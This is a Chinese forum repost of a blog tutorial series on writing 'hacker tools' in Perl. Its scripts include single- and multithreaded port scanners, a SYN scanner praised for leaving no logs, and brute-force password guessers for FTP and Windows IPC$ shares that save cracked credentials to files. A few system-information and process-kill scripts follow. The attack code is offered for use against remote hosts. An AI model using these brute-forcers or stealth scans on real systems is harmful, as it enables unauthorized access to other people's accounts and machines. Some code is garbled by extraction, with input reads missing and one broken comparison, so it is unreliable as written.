- 论坛徽章:
- 0
|
[color="#05006c"]perl打造自己的黑客工具
学计算机程序的朋友最大的愿望就是能编出一款功能强大的
程序,但实现起来却不容易,需要花很多时间来学习计算机语言,今天我就给大家介绍一个好用网络编程语言Practical Extraction
and Report Language(perl),严格的说它只是个脚本语言,Perl象C一样强大,象awk、sed等脚本描述语言一样方便。
如果你用的是unix环境那你一定对perl很熟悉了,今天我要谈的是在windows下用perl来打造一个自己满意的程序,如果你学过c语言的话,那你上手一定很快,因为他很c语言很相似。
我们先来看一个简单的程序:
#usr/bin/perl
print "你好!请输入你的名字:";
$name=;
chop( $name);
print " $name你好!欢迎你来到perl的世界。\n"
是不是感觉很简单,在也不要用english来对话了。perl为我们提供了很多功能,你只要对这些功能了解,就会很方便的写出让自己满意的程序。
我们先来看看它的网络编程,在perl里面提供了很多模块,我要做的就是调用这些模块来完成自己要做的。我们今天就来学习一个perl打造的Connect扫描器。
#!usr/bin/perl #perl程序开头标式
use IO::Socket; #载如IO::Socket包
print "请输入你要扫描的主机:";
$ARGV[0]=; #从键盘上输入数据到 $ARGV[0]
chop($ARGV[0]); #把最后一个字符删除
$host=$ARGV[0];
$file="ports.txt";
open(FILE," $file")||die " $file端口文件是不是你搞丢了啊?自己重写一个吧\n"; #打开文件
while(@all=){ #循环读取文件中的端口
print"正在扫描 $host……\n";
foreach $port (@all){
$sock=IO::Socket::INET->new(PeerAddr=> $host,PeerPort=> $port,Timeout=>60); #新建IO::Socket::INET对象 $sock
if( $sock){ #判断端口是否打开
print(" $host主机-> $port端口打开着!\n"); $sock->close; #关闭SOCKET对象
}else{
print " $port关闭着!\n";
}
}print("\n");
}print("端口扫描结束,谢谢使用!");
exit 1;
看明白了吗?是不是很容易?这样我们就能对远程主机扫描了,这个connect连接的优点就是速度快,但被主机记录。这个程序只是个单线程的,速度不是很快。下面是demonalex的一个多线程的Connect扫描程序。
#!usr/bin/perl -w
#duo_xian_scan2.pl
use IO::Socket;
use Thread;
@port=(21,23,80);
$ip= $ARGV[0];
foreach $result (@port){
Thread->new(\&sock, $ip, $result);
Thread->self->join;
}
exit 1;
sub sock{
$remote_ip=shift;
$remote_port=shift;
$sock=IO::Socket::INET->new(" $remote_ip: $remote_port");
if(defined $sock){
print"***The $remote_ip\'s $remote_port is OPENED!***\n";
$sock->close;
}else{
print"***The $remote_ip\'s $remote_port is CLOSED!***\n";
}
return;
}
这个程序把扫描的一块定义成一个子程序,然后调用多线程的模块,来调用子程序。调试不成功?呵呵,我也没成功,我把Thread->self->join;改成了Thread->join;就成功运行。
好了,今天这个connect扫描器就讲到这里了。
perl打造自己的黑客工具(2)
上一次我们是讲的connect扫描,今天我们讲用perl实现syn扫描,也叫"半开放"扫描,也就是发送一个syn包来探测,由于只没和远程主机完成三次会话,所以一般不会在远程机器上留下记录。
好了,不多说了,看看代码吧。
#usr/bin/perl
use IO::Socket;
use Net::Ping; # 载入模块 print "请输入你要扫描的主机:";
$host=;
chop( $host);
$file="ports.txt";
open(FILE," $file")||die "找不到 $file端口文件\n" ; #打开文件
while(@all=){
print"正在扫描……\n";
foreach $port(@all){ #循环读取端口
$syn=Net::Ping->new("syn"); #发送syn包
$syn->{ port_num }= $port; #发送到指定port
$syn->ping( $host); #发送到指定host
if( $syn->ack){ #判断返回信息
print(" $host主机-> $port端口打开着!\n"); $syn->close;
} }
}print("\n");print("端口扫描结束,谢谢使用!");exit 1;
不要我说太多吧,和原来的程序差不多哦。如果嫌扫描程序不够快,那就把它换成个多线程的啊,呵呵。
perl打造自己的黑客工具(3)
在第一节我就讲到perl提供了很多模块,我们只要会调用这些模块我们就可以写出自己的网络应用程序,今天我就来介绍一个perl写的ftp猜解器。原理很简单,利用perl的模块与远程主机建立连接,如果成功就显示破解成功,没成功则继续利用下一个用户和密码猜解。
#usr/bin/perl
use NET::FTP;
print "请输入你要猜解的主机:";
$host=;
print "开始暴力破解……";
$file1="FTPUSER";
$file2="FTPPASS";
open(FILE," $file1")||die " $file1文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开用户名文件
while(@user=){
foreach $user(@user){ #循环读取用户名
chop( $user);
open(FILE," $file2")||die " $file2文件是不是你搞丢了啊?自己重写一个吧\n" ; #打开密码文件
while(@password=){
foreach $password(@password){ #循环读取密码 chop( $password);
print "\n";
print "\n";
$ftp=Net::FTP->new( $host) || die "连接不上远程计算机!\n" ; #与远程主机建立连接
print "正在破解 $user-> $password\n";
if( $ftp){
$a= $ftp->login( $user, $password); #发送用户名和密码
$ftp->quit; # 退出ftp会话
if ( $a==1)
{
print "恭喜你!发现弱口令! 用户名 $user 密码: $password\n";
open (H,">>ftpscan.txt")||die "打不开ftpscan.txt\n"; #打开文件将破解好的用户和密码放进去
print H "主机 $host用户名: $user 密码: $password \n";
close H;
}
}
}
}
}
}
print "结果已写入ftpscan.txt文件请查看\n";
又是一个简单的例子,你是不是觉得自己突然强大起来了?呵呵。
perl打造自己的黑客工具(4)
前面几篇我们都是利用perl模块来实现任务的,今天我们就用perl调用系统命令来实现IPC $远程猜解,适合win2k以上的系统。代码也十分简单。
#usr/bin/perl
print "请输入要猜解的IP:";
$host=;
chop( $host);
$file1="NT_USER";
$file2="NT_PASS";
open(FILE," $file1")||die " $file1文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@user=){
foreach $name(@user){
open(FILE," $file2")||die " $file2文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@pass=){
foreach $password(@pass){
chop( $password);
print ("正在尝试 $name $password\n"); #从这里往上不要我解释了吧
$check=system ("net use \\\\ $host\\ipc\ $ $password /user: $name"); #调用perl函数,执行系统命令
if(! $check) { #判断连接是否成功
system ("net use \\\\ $host\\ipc\ $ /del"); #成功连接后就删除连接,并打开文件写入
open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n";
print H "主机 $host用户名: $name 密码: $password \n";
close H;
}
}
}
}
}
print "结果已写入ipcscan.txt文件请查看\n";
好了,是不是很简单,发挥你的想象,自己也创造一个自己需要的工具。
perl打造自己的黑客工具(5)
perl也提供了api函数调用,这样我们可以在为自己的软件添加一些功能了,我这里主要是介绍得到系统信息的。调用api函数还能实现很多功能,比如删除日志,终止进程,具体的参考perl的帮助吧。
现在我们来看看我是这样获得系统信息的。
#usr/bin/perl
use Win32API::Registry 0.21 qw( :ALL );
use Sys::Hostname;
$host=hostname;
print "主机名: $host\n";
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", 0,KEY_READ, $key
)||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "VendorIdentifier", [], [], $data, [] );
printf "CPU信息: $data ";
RegQueryValueEx( $key, "ProcessorNameString", [], [], $data, [] );
printf " $data\n";
RegCloseKey( $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "SystemBiosVersion", [], [], $data, [] );
printf "BIOS信息: $data\n";
RegCloseKey( $Key );
RegOpenKeyEx(
HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus
0\\Target Id 0\\Logical Unit Id 0", 0,KEY_READ, $key )||die
"失败",regLastError(),"\n";
RegQueryValueEx( $key, "Identifier", [], [], $data, [] );
printf "硬盘信息: $data\n";
RegCloseKey( $Key );
RegOpenKeyEx(
HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Control\\Class\\{
4D36E968-E325-11CE-BFC1-08002BE10318 }\\0000", 0,KEY_READ, $key )||die
"失败",regLastError(),"\n";
RegQueryValueEx( $key, "DriverDesc", [], [], $data, [] );
printf "显卡信息: $data ";
RegQueryValueEx( $key, "DriverVersion", [], [], $data, [] );
printf "版本: $data\n";
RegCloseKey( $Key );
RegOpenKeyEx(
HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "ProductName", [], [], $data, [] );
printf "操作系统: $data ";
RegQueryValueEx( $key, "CurrentVersion", [], [], $data, [] );
printf " $data.";
RegQueryValueEx( $key, "CurrentBuildNumber", [], [], $data, [] );
printf " $data ";
RegQueryValueEx( $key, "CSDVersion", [], [], $data, [] );
printf " $data\n";
RegQueryValueEx( $key, "RegisteredOwner", [], [], $data, [] );
printf "注册到: $data ";
RegQueryValueEx( $key, "RegisteredOrganization", [], [], $data, [] );
printf " $data ";
RegQueryValueEx( $key, "ProductId", [], [], $data, [] );
printf " $data\n";
RegQueryValueEx( $key, "SystemRoot", [], [], $data, [] );
printf "系统根目录: $data\n";
RegCloseKey( $Key );
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Internet Explorer", 0,KEY_READ, $key )||die "失败",regLastError(),"\n";
RegQueryValueEx( $key, "Version", [], [], $data, [] );
printf "IE版本:IE $data\n";
RegOpenKeyEx(
HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 1\\Scsi Bus
0\\Target Id 1\\Logical Unit Id 0", 0,KEY_READ, $key )||die
"失败",regLastError(),"\n";
RegQueryValueEx( $key, "Identifier", [], [], $data, [] );
printf "光驱信息: $data\n";
RegCloseKey( $Key );
exit 1;
这个程序,是调用了注册表来得到信息,非常容易。
#!/usr/bin/perl
use Win32::kernel32;
use win32;
use win32::api;
use Win32API::File 0.08 qw( :ALL );
$olOutLength= GetLogicalDriveStrings(4*26+1, $osBuffer );
print "本机器上有:\n";
printf " $osBuffer\n";
print "请输入需要查看的分区(注意加'\\'!):";
$disk=;
chop( $disk);
$free = Win32::GetDiskFreeSpace(" $disk");
$a= $free/1024;
printf "此分区有 $a KB空余\n";
$type=Win32::GetDriveType( $disk);
if( $type==0){ printf "分区类型:UNKNOWN\n"; }
if( $type==1){ printf "分区类型:The root directory does not exist\n"; }
if( $type==2){ printf "分区类型:A floppy drive\n"; }
if( $type==3){ printf "分区类型:A fixed drive\n"; }
if( $type==4){ printf "分区类型:A remote (network) drive\n"; }
if( $type==5){ printf "分区类型:A CD-ROM drive\n"; }
if( $type==6){ printf "分区类型:A RAM disk\n"; }
if( $type6){ printf "UNKNOWN\n"; }
GetVolumeInformation( $disk, $osVolName, $lVolName, $ouSerialNum, $ouMaxNameLen, $ouFsFlags, $osFsType, $lFsType );
printf "卷标名: $osVolName\n";
printf "序列号: $ouSerialNum\n";
printf "文件系统: $osFsType\n";
这个程序是获得系统的磁盘信息的,具体看perl的帮助。
#!/usr/bin/perl
print "输入要杀进程的PID:";
$listid=;
chop( $listid);
$a=kill(9, $listid);
if( $a){ print "关闭 $listid进程成功"; }
else{
print "关闭 $listid进程失败"; }exit;
这个小小的程序可以查杀一些普通的进程。
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/18280/showart_1070448.html |
|